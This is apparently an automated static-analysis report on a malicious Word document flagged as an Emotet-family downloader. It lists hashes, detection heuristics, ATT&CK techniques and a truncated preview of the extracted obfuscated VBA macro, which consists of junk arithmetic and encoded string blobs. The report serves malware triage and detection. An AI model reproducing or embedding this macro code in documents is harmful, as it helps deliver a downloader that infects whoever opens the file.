Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0ce35b588997edcb…

MALICIOUS

Office (OLE)

207.0 KB Created: 2018-03-26 20:35:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: 9ab191ecb1ddaa1566e286e2760acb57 SHA-1: 0f6f81f2d6261801fe65cc2f712f95c850cdf0d1 SHA-256: 0ce35b588997edcba1a3128b9ef55445ba9bfc58527f86e4d788fdbd689bb315
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro that triggers an AutoOpen event. The macro utilizes CreateObject to likely download and execute a second-stage payload, as indicated by the 'Doc.Malware.Emodldr' ClamAV detection and the presence of a VBA macro. The obfuscated script attempts to construct URLs and execute them, suggesting a downloader or droppper functionality.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 28194 bytes
SHA-256: 16b2825656c2d4810d244d0e57327f15d83709c6897509e8820424925f66d58b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 25 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "WJlcABpFbYsMYb"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "uowLkZSzjn"
Function nNspwWbWHHWRip()
On Error Resume Next
Set wcGom = lBIkR
pkjtZ = 44264 + 91201
EtXiW = 87116 / twursE
jkRBRhKFzM = jhllJ("rzQAMgAzAGYANwBkADAAMAAyAGIANgBiADMANQBkAGYAMAA5ADMAMQA5ADUAOQA0ADUAYwA2AGQAMwBmADQAMgA1AGYAOAA0ADQANwBjAGUcjiN", 3, 105)
Set coBwYh = KoAQX
hJAXY = 58699 + 9922
CFXRt = 86515 / ENtZGv
Set maszs = bCWNIs
wkjjK = 44551 + 78790
uBHpl = 45883 / RhliV
QaARuJPv = jhllJ("vArq2AGMAZgBkAGIAZQBkADkAZQA4ADUAYwBmADYANABkAGYAOQBmADEAYQAxADYAZgBkAGQAZABmAGEAYgA2AGEAOQBmAGUAYwA2AGMAZgBkADgAYQBkAGUANgA5AGIAOABiADMAMgAyADUAZAA0AGUAOABkAGUANwBmADAAZgA1ADEAZQBkADIAYgAyAGIAOAA1AGMAM%h", 6, 197)
Set XPhNOa = GrhKh
qujsXW = 69831 + 20539
ZlHGGI = 70735 / cdWhZU
Set UrlIGn = OSzqLZ
YwiMn = 92229 + 39848
mpXAzK = 73401 / ncmCj
kCBjTGTww = jhllJ("I8zNJAGIAYQBhADQAOABiADQAMwAxAGEAZQBlADUAOAA0ADIAYgBhADEAMgBkAGEri", 6, 59)
Set stGBk = OCYFY
qCNBz = 74926 + 26733
EvlFni = 54432 / MOYWd
Set KdSqWT = zlPYGT
wqtoqQ = 7260 + 43924
VjDjP = 11678 / jVAGcv
FOKArWIZhu = jhllJ("0UubAGUANAAxADQANAA0ADAAZQA3ADIANgBkADcAMgBjADkAZgBiADgAZgA0AGMANQA2ADIAZABjADIAYQA2AGYAOABmADEAYQAwAGMAYwBlADkAMABkAGMAMwA1ADIAZgA2ADUAYgBmADIANAA3ADUAMQAwAGIAMgAyADkAZQA5AGQAZQBhAGYAYgAx,,3m", 6, 183)
Set pjCWJX = kfGWCv
CZHXnD = 94715 + 19442
nYtnj = 5272 / NPBBD
Set ifWtk = hTzbLO
sjzGMS = 1210 + 49173
HhScB = 35345 / OviZa
EIvpwYAJY = jhllJ("9I3AyADAANwAzADQANwBlADEAOQAyADAANwA2ADMAMgBiADMAMABkAGIANQAzAGMAZgAyAP0HOwU", 4, 67)
Set iCwoIv = vcQoUS
CiwLEa = 41690 + 46033
aHkPEl = 61565 / oGRFvK
Set WDANq = hVCzH
jjInb = 49461 + 61478
PaJwLt = 35781 / SSlmL
zjqVZziCEY = jhllJ("izQAzADIANQAzADIAOQA1ADQAZQA3AGIAYQBmAGUANwAOpOZ", 3, 42)
Set wCMlrP = QVnAU
zlvifj = 81015 + 10932
uECwGb = 6299 / OUCvjF
Set YJjAZ = XcjmQO
mfiDmK = 19761 + 63648
ZbrlF = 57959 / fIzji
aUErz = jhllJ("MwzPVqrDUAZgA5ADQAOAA5ADMANQAwADQAOQBlADQANAA1ArP", 8, 40)
Set ZORhrl = EjjCn
cFzFz = 51096 + 39824
kHInp = 86453 / BdQhH
Set BzvpE = BFkcB
iBFYjo = 24401 + 39792
YBfzXD = 22534 / wWqXl
JhoduF = jhllJ("Oq7ZSZQAzADMANQAwADIAZgA3AGIAZQAxAGIAMQA0AGMAOAA1ADgANwA2ADEAZQBlAGEAYQA0ADUAOQAxADgAYgA0ADAAYQA3ADQAYQAxADgANQA5ADAAZgA4AGQANQBlADIAZQA3ADAAMQA0ADAAMQA5ADcANwBiADUANQBiAGEAOQBiADcANABlADYANQAxADQAOAA0ADO1m@", 6, 198)
Set TRmGG = PdNfai
ZDnOLj = 67122 + 55082
QqhHpl = 76350 / KVztm
Set ImILLn = qfXtp
wvmbc = 70312 + 97306
SDDLVH = 80013 / PzSWd
DYmqjYaaj = jhllJ("PGAYgBlADkAOQBhAGEAZAAwAGEAOAA4AGIAMQBkADgAMwBlADkANAA3AGEAYgA4ADUANAAwADUANQBkAGUAMQA4ADcANQBjAGYAZgA1AGMAZgA0ADYAOAA2ADMAMwA2ADQAOQA1ADYAMQA3AGYAOABlADEAOQAxAGMANwBkAGQANAAyAGYAZgAwAGIANQAzADUAZSdfBsi", 3, 194)
Set MauUrz = sbYdE
zuWnBf = 80009 + 81596
Ezpfjd = 29651 / aTtAj
Set WwcENb = HpqiE
GsBBbs = 28630 + 41072
ttUqJX = 33875 / wNdBks
KFqPKS = jhllJ("QVjAGMANwAxADcAMgBhADAAOQA2ADYANwAxADMAZQA3ADApac%", 4, 42)
Set YTJXo = ppAaYs
fiVNV = 81132 + 6581
kWSBpJ = 83214 / bfWAr
Set JAXQYs = vZjvO
vAFYu = 88913 + 44404
wiWLjW = 35160 / cWRST
GdfUortqMEU = jhllJ("I75AOAA1AGYAZAA3AGYAYgA4ADYAII%au", 4, 25)
Set VLEjrh = JGIjbK
mbuDzH = 20322 + 33543
FoVuo = 93375 / dwvNi
Set XWKNQ = RPPKz
pIpLV = 11456 + 53042
LDoGtM = 86883 / mBTWn
AzZDPdzOJ = jhllJ("17pzKOQBjAGIAZAA3AGEAYwBhADMANQAzAGEANQAxADcAOQAzAGMAMQAyADcAMQA0ADIAYgA4AGQAMwA0AGEAYwA0ADgAMQA5AGMAZAAxAGQAOABkADMAZQAxADUAOQAwAGMANwBhADcAYgBhADcANQAxAGIANQAzADQAZAAzADAAI0JP", 6, 168)
Set MwKSn = KPTid
TSCks = 6569 + 72378
DUiET = 6271 / NcNqa
Set SUfUEz = pfRak
MBOMwR = 32144 + 58852
lCbpwG = 7382 / hFsSH
fAUmP = jhllJ("BPkAGQANgA1AGUAOABjADgAMwA1AGMAOABjAGUAMAAyAGIANABmAGIANgBkAGUANwBm7u0ZFj", 3, 65)
Set uVlXwp = mIDwz
GNCmoN = 54746 + 66302
sPBAld = 68117 / rTERT
Set iRiIzU = PvzlZQ
tkIBT = 796 + 77178
ocIOs = 886 / XQbDjv
VAHXObur = jhllJ("kGsDIAOAA5AGMAOQBhADYAMABk
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.